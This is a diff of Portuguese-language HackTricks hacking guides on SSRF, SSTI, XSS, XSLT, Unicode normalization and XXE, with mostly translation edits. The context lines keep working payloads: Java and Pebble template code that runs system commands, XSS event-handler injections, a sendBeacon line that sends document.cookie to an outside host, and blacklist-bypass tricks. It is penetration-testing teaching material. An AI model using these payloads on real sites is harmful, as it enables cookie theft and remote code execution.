https://metadata/vulerable/path#.extension
|
||||
@ -157,13 +157,15 @@ A ferramenta [**recollapse**](https://github.com/0xacb/recollapse) pode gerar va
|
||||
|
||||
### Listas de Palavras Personalizadas Automáticas
|
||||
|
||||
Confira o [**cheat sheet de bypass de validação de URL**](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) da portswigger, onde você pode introduzir o host permitido e o do atacante, e ele gerará uma lista de URLs para você tentar. Ele também considera se você pode usar a URL em um parâmetro, em um cabeçalho Host ou em um cabeçalho CORS.
|
||||
Confira o [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) da portswigger onde você pode introduzir o host permitido e o do atacante e ele gerará uma lista de URLs para você tentar. Ele também considera se você pode usar a URL em um parâmetro, em um cabeçalho Host ou em um cabeçalho CORS.
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
### Bypass via redirecionamento
|
||||
|
||||
Pode ser possível que o servidor esteja **filtrando a solicitação original** de um SSRF **mas não** uma possível **resposta de redirecionamento** a essa solicitação.\
|
||||
Pode ser possível que o servidor esteja **filtrando a requisição original** de um SSRF **mas não** uma possível **resposta de redirecionamento** a essa requisição.\
|
||||
Por exemplo, um servidor vulnerável a SSRF via: `url=https://www.google.com/` pode estar **filtrando o parâmetro url**. Mas se você usar um [servidor python para responder com um 302](https://pastebin.com/raw/ywAUhFrv) para o lugar onde você deseja redirecionar, você pode ser capaz de **acessar endereços IP filtrados** como 127.0.0.1 ou até mesmo **protocolos filtrados** como gopher.\
|
||||
[Confira este relatório.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
@ -190,7 +192,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||
|
||||
### Truque do Blackslash
|
||||
|
||||
O _truque do backslash_ explora uma diferença entre o [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) e o [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Enquanto o RFC3986 é uma estrutura geral para URIs, o WHATWG é específico para URLs da web e é adotado por navegadores modernos. A principal distinção reside no reconhecimento do backslash (`\`) pelo padrão WHATWG como equivalente ao barra (`/`), impactando como as URLs são analisadas, especificamente marcando a transição do nome do host para o caminho em uma URL.
|
||||
O _truque do backslash_ explora uma diferença entre o [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) e [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Enquanto o RFC3986 é uma estrutura geral para URIs, o WHATWG é específico para URLs da web e é adotado por navegadores modernos. A principal distinção reside no reconhecimento do padrão WHATWG de que o backslash (`\`) é equivalente ao forward slash (`/`), impactando como as URLs são analisadas, especificamente marcando a transição do hostname para o caminho em uma URL.
|
||||
|
||||
|
||||
|
||||
|
||||
@ -1,9 +1,8 @@
|
||||
# SSTI (Injeção de Template do Lado do Servidor)
|
||||
# SSTI (Server Side Template Injection)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## O que é SSTI (Injeção de Template do Lado do Servidor)
|
||||
## O que é SSTI (Server-Side Template Injection)
|
||||
|
||||
A injeção de template do lado do servidor é uma vulnerabilidade que ocorre quando um atacante pode injetar código malicioso em um template que é executado no servidor. Essa vulnerabilidade pode ser encontrada em várias tecnologias, incluindo Jinja.
|
||||
|
||||
@ -26,7 +25,7 @@ Para prevenir vulnerabilidades de injeção de template do lado do servidor, os
|
||||
Para detectar Injeção de Template do Lado do Servidor (SSTI), inicialmente, **fuzzing do template** é uma abordagem simples. Isso envolve injetar uma sequência de caracteres especiais (**`${{<%[%'"}}%\`**) no template e analisar as diferenças na resposta do servidor a dados regulares versus este payload especial. Indicadores de vulnerabilidade incluem:
|
||||
|
||||
- Erros lançados, revelando a vulnerabilidade e potencialmente o mecanismo de template.
|
||||
- Ausência do payload na reflexão, ou partes dele faltando, implicando que o servidor o processa de forma diferente dos dados regulares.
|
||||
- Ausência do payload na reflexão, ou partes dele faltando, implicando que o servidor o processa de forma diferente de dados regulares.
|
||||
- **Contexto de Texto Simples**: Distinguir de XSS verificando se o servidor avalia expressões de template (por exemplo, `{{7*7}}`, `${7*7}`).
|
||||
- **Contexto de Código**: Confirmar a vulnerabilidade alterando parâmetros de entrada. Por exemplo, mudando `greeting` em `http://vulnerable-website.com/?greeting=data.username` para ver se a saída do servidor é dinâmica ou fixa, como em `greeting=data.username}}hello` retornando o nome de usuário.
|
||||
|
||||
@ -44,7 +43,7 @@ Identificar o mecanismo de template envolve analisar mensagens de erro ou testar
|
||||
|
||||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||||
|
||||
um scanner SSTI + CSTI eficiente que utiliza poliglotas inovadores.
|
||||
um scanner SSTI + CSTI eficiente que utiliza poliglotas novos
|
||||
```bash
|
||||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||
@ -170,11 +169,11 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
|
||||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
Thymeleaf requer que essas expressões sejam colocadas dentro de atributos específicos. No entanto, _inlining de expressões_ é suportado para outros locais de template, usando sintaxe como `[[...]]` ou `[(...)]`. Assim, uma carga útil simples de teste SSTI pode parecer `[[${7*7}]]`.
|
||||
Thymeleaf requer que essas expressões sejam colocadas dentro de atributos específicos. No entanto, _inlining de expressão_ é suportado para outros locais de template, usando sintaxe como `[[...]]` ou `[(...)]`. Assim, um simples payload de teste SSTI pode parecer `[[${7*7}]]`.
|
||||
|
||||
No entanto, a probabilidade de essa carga útil funcionar é geralmente baixa. A configuração padrão do Thymeleaf não suporta geração dinâmica de templates; os templates devem ser predefinidos. Os desenvolvedores precisariam implementar seu próprio `TemplateResolver` para criar templates a partir de strings em tempo real, o que é incomum.
|
||||
No entanto, a probabilidade de esse payload funcionar é geralmente baixa. A configuração padrão do Thymeleaf não suporta geração dinâmica de templates; os templates devem ser predefinidos. Os desenvolvedores precisariam implementar seu próprio `TemplateResolver` para criar templates a partir de strings em tempo real, o que é incomum.
|
||||
|
||||
Thymeleaf também oferece _pré-processamento de expressões_, onde expressões dentro de sublinhados duplos (`__...__`) são pré-processadas. Esse recurso pode ser utilizado na construção de expressões, como demonstrado na documentação do Thymeleaf:
|
||||
Thymeleaf também oferece _pré-processamento de expressão_, onde expressões dentro de sublinhados duplos (`__...__`) são pré-processadas. Esse recurso pode ser utilizado na construção de expressões, como demonstrado na documentação do Thymeleaf:
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
@ -262,7 +261,7 @@ Versão antiga do Pebble ( < versão 3.0.9):
|
||||
```java
|
||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||
```
|
||||
Nova versão do Pebble:
|
||||
Nova versão do Pebble :
|
||||
```java
|
||||
{% raw %}
|
||||
{% set cmd = 'id' %}
|
||||
@ -373,10 +372,10 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
- `${{7*7}}` - 49
|
||||
- `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
Expression Language (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como beans gerenciados) no JavaEE. É amplamente utilizado em várias tecnologias JavaEE para agilizar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:
|
||||
Expression Language (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como beans gerenciados) no JavaEE. É amplamente utilizado em várias tecnologias JavaEE para simplificar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:
|
||||
|
||||
- **JavaServer Faces (JSF)**: Emprega EL para vincular componentes nas páginas JSF aos dados e ações correspondentes no backend.
|
||||
- **JavaServer Pages (JSP)**: EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página aos dados da aplicação.
|
||||
- **JavaServer Pages (JSP)**: EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página com os dados da aplicação.
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: EL se integra ao CDI para permitir uma interação contínua entre a camada web e os beans gerenciados, garantindo uma estrutura de aplicação mais coerente.
|
||||
|
||||
Verifique a página a seguir para saber mais sobre a **exploração de interpretadores EL**:
|
||||
@ -418,8 +417,6 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
||||
|
||||
- Mais informações em [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
|
||||
|
||||
##
|
||||
|
||||
### Smarty (PHP)
|
||||
@ -614,7 +611,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
||||
|
||||
### patTemplate (PHP)
|
||||
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) motor de template PHP não compilável, que usa tags XML para dividir um documento em diferentes partes
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) é um mecanismo de template PHP não compilável, que usa tags XML para dividir um documento em diferentes partes
|
||||
```xml
|
||||
<patTemplate:tmpl name="page">
|
||||
This is the main page.
|
||||
@ -817,7 +814,7 @@ Confira a página a seguir para aprender truques sobre **execução arbitrária
|
||||
|
||||
[Site oficial](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 é um mecanismo de template completo para Python. Ele tem suporte total a unicode, um ambiente de execução sandboxed integrado opcional, amplamente utilizado e licenciado sob BSD.
|
||||
> Jinja2 é um mecanismo de template completo para Python. Ele possui suporte total a unicode, um ambiente de execução sandboxed integrado opcional, amplamente utilizado e licenciado sob BSD.
|
||||
|
||||
- `{{7*7}} = Erro`
|
||||
- `${7*7} = ${7*7}`
|
||||
@ -997,7 +994,9 @@ Se você achar que pode ser útil, leia:
|
||||
|
||||
## Lista de Detecção de Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
||||
{{#endref}}
|
||||
|
||||
## Prática & Referências
|
||||
|
||||
|
||||
@ -43,7 +43,7 @@ Outro **exemplo**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D
|
||||
|
||||
Imagine uma página da web que está usando o caractere `'` para criar consultas SQL com a entrada do usuário. Esta web, como uma medida de segurança, **deleta** todas as ocorrências do caractere **`'`** da entrada do usuário, mas **após essa exclusão** e **antes da criação** da consulta, ela **normaliza** usando **Unicode** a entrada do usuário.
|
||||
|
||||
Então, um usuário malicioso poderia inserir um caractere Unicode diferente equivalente a `' (0x27)` como `%ef%bc%87`, quando a entrada é normalizada, uma aspa simples é criada e uma **vulnerabilidade de SQL Injection** aparece:
|
||||
Então, um usuário malicioso poderia inserir um caractere Unicode diferente equivalente a `' (0x27)` como `%ef%bc%87`, quando a entrada for normalizada, uma aspa simples é criada e uma **vulnerabilidade de SQL Injection** aparece:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -75,7 +75,9 @@ Então, um usuário malicioso poderia inserir um caractere Unicode diferente equ
|
||||
```
|
||||
#### sqlmap template
|
||||
|
||||
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/sqlmap_to_unicode_template
|
||||
{{#endref}}
|
||||
|
||||
### XSS (Cross Site Scripting)
|
||||
|
||||
|
||||
@ -344,7 +344,7 @@ xmlns:php="http://php.net/xsl" >
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
Execute código usando outros frameworks no PDF
|
||||
Execute código usando outras estruturas no PDF
|
||||
|
||||
### **Mais Linguagens**
|
||||
|
||||
@ -376,7 +376,9 @@ version="1.0">
|
||||
|
||||
## **Lista de Detecção de Força Bruta**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
|
||||
{{#endref}}
|
||||
|
||||
## **Referências**
|
||||
|
||||
|
||||
@ -11,7 +11,7 @@
|
||||
2. Você pode usar eventos ou atributos que suportam o protocolo `javascript:`?
|
||||
3. Você pode contornar proteções?
|
||||
4. O conteúdo HTML está sendo interpretado por algum mecanismo JS do lado do cliente (_AngularJS_, _VueJS_, _Mavo_...), você poderia abusar de uma [**Injeção de Template do Lado do Cliente**](../client-side-template-injection-csti.md).
|
||||
5. Se você não pode criar tags HTML que executem código JS, poderia abusar de uma [**Injeção de Marcação Pendente - HTML sem script**](../dangling-markup-html-scriptless-injection/)?
|
||||
5. Se você não pode criar tags HTML que executem código JS, você poderia abusar de uma [**Injeção de Marcação Pendente - HTML sem script**](../dangling-markup-html-scriptless-injection/)?
|
||||
2. Dentro de uma **tag HTML**:
|
||||
1. Você pode sair para o contexto HTML bruto?
|
||||
2. Você pode criar novos eventos/atributos para executar código JS?
|
||||
@ -22,7 +22,7 @@
|
||||
2. Você pode escapar da string e executar código JS diferente?
|
||||
3. Sua entrada está em literais de template \`\`?
|
||||
4. Você pode contornar proteções?
|
||||
4. Função Javascript **sendo executada**
|
||||
4. Função Javascript **sendo** **executada**
|
||||
1. Você pode indicar o nome da função a ser executada. ex.: `?callback=alert(1)`
|
||||
4. Se **usado**:
|
||||
1. Você poderia explorar um **DOM XSS**, preste atenção em como sua entrada é controlada e se sua **entrada controlada é usada por algum sink.**
|
||||
@ -45,9 +45,9 @@ Para explorar com sucesso um XSS, a primeira coisa que você precisa encontrar
|
||||
|
||||
Ao tentar explorar um XSS, a primeira coisa que você precisa saber é **onde sua entrada está sendo refletida**. Dependendo do contexto, você poderá executar código JS arbitrário de diferentes maneiras.
|
||||
|
||||
### HTML bruto
|
||||
### HTML Bruto
|
||||
|
||||
Se sua entrada está **refletida no HTML bruto** da página, você precisará abusar de alguma **tag HTML** para executar código JS: `<img , <iframe , <svg , <script` ... essas são apenas algumas das muitas tags HTML possíveis que você poderia usar.\
|
||||
Se sua entrada está **refletida na página HTML bruto**, você precisará abusar de alguma **tag HTML** para executar código JS: `<img , <iframe , <svg , <script` ... essas são apenas algumas das muitas tags HTML possíveis que você poderia usar.\
|
||||
Além disso, tenha em mente a [Injeção de Template do Lado do Cliente](../client-side-template-injection-csti.md).
|
||||
|
||||
### Dentro do atributo de tags HTML
|
||||
@ -57,7 +57,7 @@ Se sua entrada está refletida dentro do valor do atributo de uma tag, você pod
|
||||
1. **Escapar do atributo e da tag** (então você estará no HTML bruto) e criar uma nova tag HTML para abusar: `"><img [...]`
|
||||
2. Se você **pode escapar do atributo, mas não da tag** (`>` está codificado ou excluído), dependendo da tag, você poderia **criar um evento** que executa código JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Se você **não pode escapar do atributo** (`"` está sendo codificado ou excluído), então dependendo de **qual atributo** seu valor está sendo refletido e **se você controla todo o valor ou apenas uma parte**, você poderá abusar disso. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando for clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
|
||||
4. Se sua entrada está refletida dentro de "**tags não exploráveis**", você poderia tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
4. Se sua entrada está refletida dentro de "**tags não exploráveis**", você poderia tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Exemplo estranho de Angular executando XSS se você controla um nome de classe:
|
||||
```html
|
||||
@ -98,7 +98,7 @@ Uma boa maneira de descobrir se algo fornecido diretamente pelo usuário está t
|
||||
|
||||
.png>)
|
||||
|
||||
Caso seja vulnerável, você pode ser capaz de **disparar um alerta** apenas enviando o valor: **`?callback=alert(1)`**. No entanto, é muito comum que esses endpoints **validem o conteúdo** para permitir apenas letras, números, pontos e sublinhados (**`[\w\._]`**).
|
||||
Caso seja vulnerável, você poderá **disparar um alerta** apenas enviando o valor: **`?callback=alert(1)`**. No entanto, é muito comum que esses endpoints **validem o conteúdo** para permitir apenas letras, números, pontos e sublinhados (**`[\w\._]`**).
|
||||
|
||||
No entanto, mesmo com essa limitação, ainda é possível realizar algumas ações. Isso ocorre porque você pode usar esses caracteres válidos para **acessar qualquer elemento no DOM**:
|
||||
|
||||
@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
Esse tipo de XSS pode ser encontrado **em qualquer lugar**. Eles não dependem apenas da exploração do cliente de uma aplicação web, mas de **qualquer** **contexto**. Esse tipo de **execução arbitrária de JavaScript** pode até ser abusado para obter **RCE**, **ler** **arquivos** **arbitrários** em clientes e servidores, e mais.\
|
||||
Esses tipos de XSS podem ser encontrados **em qualquer lugar**. Eles não dependem apenas da exploração do cliente de uma aplicação web, mas de **qualquer** **contexto**. Esses tipos de **execução arbitrária de JavaScript** podem até ser abusados para obter **RCE**, **ler** **arquivos** **arbitrários** em clientes e servidores, e mais.\
|
||||
Alguns **exemplos**:
|
||||
|
||||
{{#ref}}
|
||||
@ -145,15 +145,15 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
## Bypass de WAF codificando imagem
|
||||
|
||||
.jpg>)
|
||||
.jpg>)
|
||||
|
||||
## Injetando dentro do HTML bruto
|
||||
|
||||
Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Basta tentar **refletir** esse **caractere** e verificar se está sendo **HTML codificado** ou **deletado** ou se está **refletido sem alterações**. **Somente no último caso você poderá explorar esse caso**.\
|
||||
Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Apenas tente **refletir** esse **caractere** e verifique se está sendo **codificado em HTML** ou **deletado** ou se está **refletido sem alterações**. **Somente no último caso você poderá explorar esse caso**.\
|
||||
Para esses casos, também **tenha em mente** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
&#xNAN;_**Nota: Um comentário HTML pode ser fechado usando\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*ou \*\*\*\*\*\***`--!>`\*\**_
|
||||
|
||||
Neste caso, e se nenhuma lista negra/branca for usada, você poderia usar payloads como:
|
||||
Neste caso e se nenhuma lista negra/branca for usada, você poderia usar payloads como:
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -170,13 +170,13 @@ Vá para [**https://portswigger.net/web-security/cross-site-scripting/cheat-shee
|
||||
|
||||
### Tags personalizadas
|
||||
|
||||
Se você não encontrou nenhuma tag HTML válida, pode tentar **criar uma tag personalizada** e executar código JS com o atributo `onfocus`. Na solicitação XSS, você precisa terminar a URL com `#` para fazer a página **focar naquele objeto** e **executar** o código:
|
||||
Se você não encontrou nenhuma tag HTML válida, você pode tentar **criar uma tag personalizada** e executar código JS com o atributo `onfocus`. Na solicitação XSS, você precisa terminar a URL com `#` para fazer a página **focar naquele objeto** e **executar** o código:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Bypasses de Blacklist
|
||||
|
||||
Se algum tipo de blacklist estiver sendo usada, você pode tentar contorná-la com alguns truques simples:
|
||||
Se algum tipo de blacklist estiver sendo usada, você pode tentar contorná-la com alguns truques bobos:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
@ -243,14 +243,14 @@ Se para explorar a vulnerabilidade você precisar que o **usuário clique em um
|
||||
|
||||
### Impossível - Marcação Pendente
|
||||
|
||||
Se você apenas acha que **é impossível criar uma tag HTML com um atributo para executar código JS**, você deve verificar [**Marcação Pendente**](../dangling-markup-html-scriptless-injection/) porque você poderia **explorar** a vulnerabilidade **sem** executar código **JS**.
|
||||
Se você apenas pensa que **é impossível criar uma tag HTML com um atributo para executar código JS**, você deve verificar [**Marcação Pendente**](../dangling-markup-html-scriptless-injection/) porque você poderia **explorar** a vulnerabilidade **sem** executar código **JS**.
|
||||
|
||||
## Injetando dentro da tag HTML
|
||||
|
||||
### Dentro da tag/escapando do valor do atributo
|
||||
|
||||
Se você está **dentro de uma tag HTML**, a primeira coisa que você pode tentar é **escapar** da tag e usar algumas das técnicas mencionadas na [seção anterior](./#injecting-inside-raw-html) para executar código JS.\
|
||||
Se você **não conseguir escapar da tag**, você pode criar novos atributos dentro da tag para tentar executar código JS, por exemplo, usando algum payload como (_note que neste exemplo aspas duplas são usadas para escapar do atributo, você não precisará delas se sua entrada for refletida diretamente dentro da tag_):
|
||||
Se você está **dentro de uma tag HTML**, a primeira coisa que você poderia tentar é **escapar** da tag e usar algumas das técnicas mencionadas na [seção anterior](./#injecting-inside-raw-html) para executar código JS.\
|
||||
Se você **não puder escapar da tag**, você poderia criar novos atributos dentro da tag para tentar executar código JS, por exemplo, usando algum payload como (_note que neste exemplo aspas duplas são usadas para escapar do atributo, você não precisará delas se sua entrada for refletida diretamente dentro da tag_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -351,7 +351,7 @@ _**Neste caso, a codificação HTML e o truque de codificação Unicode da seç
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Além disso, há outro **truque legal** para esses casos: **Mesmo que sua entrada dentro de `javascript:...` esteja sendo codificada em URL, ela será decodificada em URL antes de ser executada.** Portanto, se você precisar **escapar** da **string** usando uma **aspa simples** e perceber que **está sendo codificada em URL**, lembre-se de que **não importa,** ela será **interpretada** como uma **aspa simples** durante o tempo de **execução**.
|
||||
Além disso, há outro **truque legal** para esses casos: **Mesmo que sua entrada dentro de `javascript:...` esteja sendo codificada em URL, ela será decodificada em URL antes de ser executada.** Portanto, se você precisar **escapar** da **string** usando uma **aspa simples** e você perceber que **está sendo codificada em URL**, lembre-se de que **não importa,** ela será **interpretada** como uma **aspa simples** durante o **tempo de execução**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
@ -430,7 +430,7 @@ A partir de [**aqui**](https://portswigger.net/research/xss-in-hidden-input-fiel
|
||||
|
||||
### Bypasses de Blacklist
|
||||
|
||||
Vários truques com diferentes codificações já foram expostos nesta seção. Volte **para aprender onde você pode usar:**
|
||||
Vários truques com o uso de diferentes codificações já foram expostos nesta seção. Volte **para aprender onde você pode usar:**
|
||||
|
||||
- **Codificação HTML (tags HTML)**
|
||||
- **Codificação Unicode (pode ser código JS válido):** `\u0061lert(1)`
|
||||
@ -468,11 +468,11 @@ Esse truque foi retirado de [https://medium.com/@skavans\_/improving-the-impact-
|
||||
|
||||
## Injetando dentro do código JavaScript
|
||||
|
||||
Nestes casos, sua **entrada** será **refletida dentro do código JS** de um arquivo `.js` ou entre as tags `<script>...</script>` ou entre eventos HTML que podem executar código JS ou entre atributos que aceitam o protocolo `javascript:`.
|
||||
Nestes casos, sua **entrada** vai ser **refletida dentro do código JS** de um arquivo `.js` ou entre as tags `<script>...</script>` ou entre eventos HTML que podem executar código JS ou entre atributos que aceitam o protocolo `javascript:`.
|
||||
|
||||
### Escapando a tag \<script>
|
||||
|
||||
Se seu código for inserido dentro de `<script> [...] var input = 'dados refletidos' [...] </script>` você pode facilmente **escapar fechando a tag `<script>`**:
|
||||
Se seu código for inserido dentro de `<script> [...] var input = 'dados refletidos' [...] </script>` você poderia facilmente **escapar fechando a tag `<script>`**:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
@ -953,7 +953,7 @@ Por exemplo, em [**este relatório**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-Y
|
||||
chrome-cache-to-xss.md
|
||||
{{#endref}}
|
||||
|
||||
### Escape de Prisões XS
|
||||
### Escape de XS Jails
|
||||
|
||||
Se você tiver apenas um conjunto limitado de caracteres para usar, verifique estas outras soluções válidas para problemas de XSJail:
|
||||
```javascript
|
||||
@ -986,7 +986,7 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Se **tudo está indefinido** antes de executar código não confiável (como em [**este artigo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), é possível gerar objetos úteis "do nada" para abusar da execução de código não confiável arbitrário:
|
||||
Se **tudo é indefinido** antes de executar código não confiável (como em [**este artigo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), é possível gerar objetos úteis "do nada" para abusar da execução de código não confiável arbitrário:
|
||||
|
||||
- Usando import()
|
||||
```javascript
|
||||
@ -1269,7 +1269,7 @@ Faça o usuário navegar na página sem sair de um iframe e roube suas ações (
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Você **não poderá acessar os cookies do JavaScript** se a flag HTTPOnly estiver definida no cookie. Mas aqui estão [algumas maneiras de contornar essa proteção](../hacking-with-cookies/#httponly) se você tiver sorte.
|
||||
> Você **não poderá acessar os cookies do JavaScript** se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem [algumas maneiras de contornar essa proteção](../hacking-with-cookies/#httponly) se tiver sorte.
|
||||
|
||||
### Roubar Conteúdo da Página
|
||||
```javascript
|
||||
@ -1388,7 +1388,7 @@ Apenas pesquisando no github, encontrei alguns diferentes:
|
||||
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
- Você também pode usar o metasploit `http_javascript_keylogger`
|
||||
- Você também pode usar metasploit `http_javascript_keylogger`
|
||||
|
||||
### Roubo de tokens CSRF
|
||||
```javascript
|
||||
@ -1427,9 +1427,11 @@ shadow-dom.md
|
||||
|
||||
### Polyglots
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### Payloads de XSS Cego
|
||||
### Payloads XSS Cegos
|
||||
|
||||
Você também pode usar: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
@ -1471,7 +1473,7 @@ Você também pode usar: [https://xsshunter.com/](https://xsshunter.com)
|
||||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
```
|
||||
### Regex - Acesso a Conteúdo Oculto
|
||||
### Regex - Acessar Conteúdo Oculto
|
||||
|
||||
A partir de [**este artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) é possível aprender que mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, uma entrada de um REGEX ainda é possível encontrá-la após o valor da entrada do regex ter sido removido:
|
||||
```javascript
|
||||
@ -1492,7 +1494,9 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
```
|
||||
### Lista de Força Bruta
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
{{#endref}}
|
||||
|
||||
## XSS Abusando de outras vulnerabilidades
|
||||
|
||||
@ -1506,7 +1510,7 @@ xss-in-markdown.md
|
||||
|
||||
### XSS para SSRF
|
||||
|
||||
Conseguiu XSS em um **site que usa cache**? Tente **atualizar isso para SSRF** através da Injeção de Inclusão Lateral com esta carga útil:
|
||||
Conseguiu XSS em um **site que usa cache**? Tente **atualizar isso para SSRF** através da Injeção de Edge Side Include com este payload:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
|
||||
@ -1,8 +1,8 @@
|
||||
# XXE - XEE - XML External Entity
|
||||
# XXE - XEE - Entidade Externa XML
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Fundamentos do XML
|
||||
## Noções Básicas de XML
|
||||
|
||||
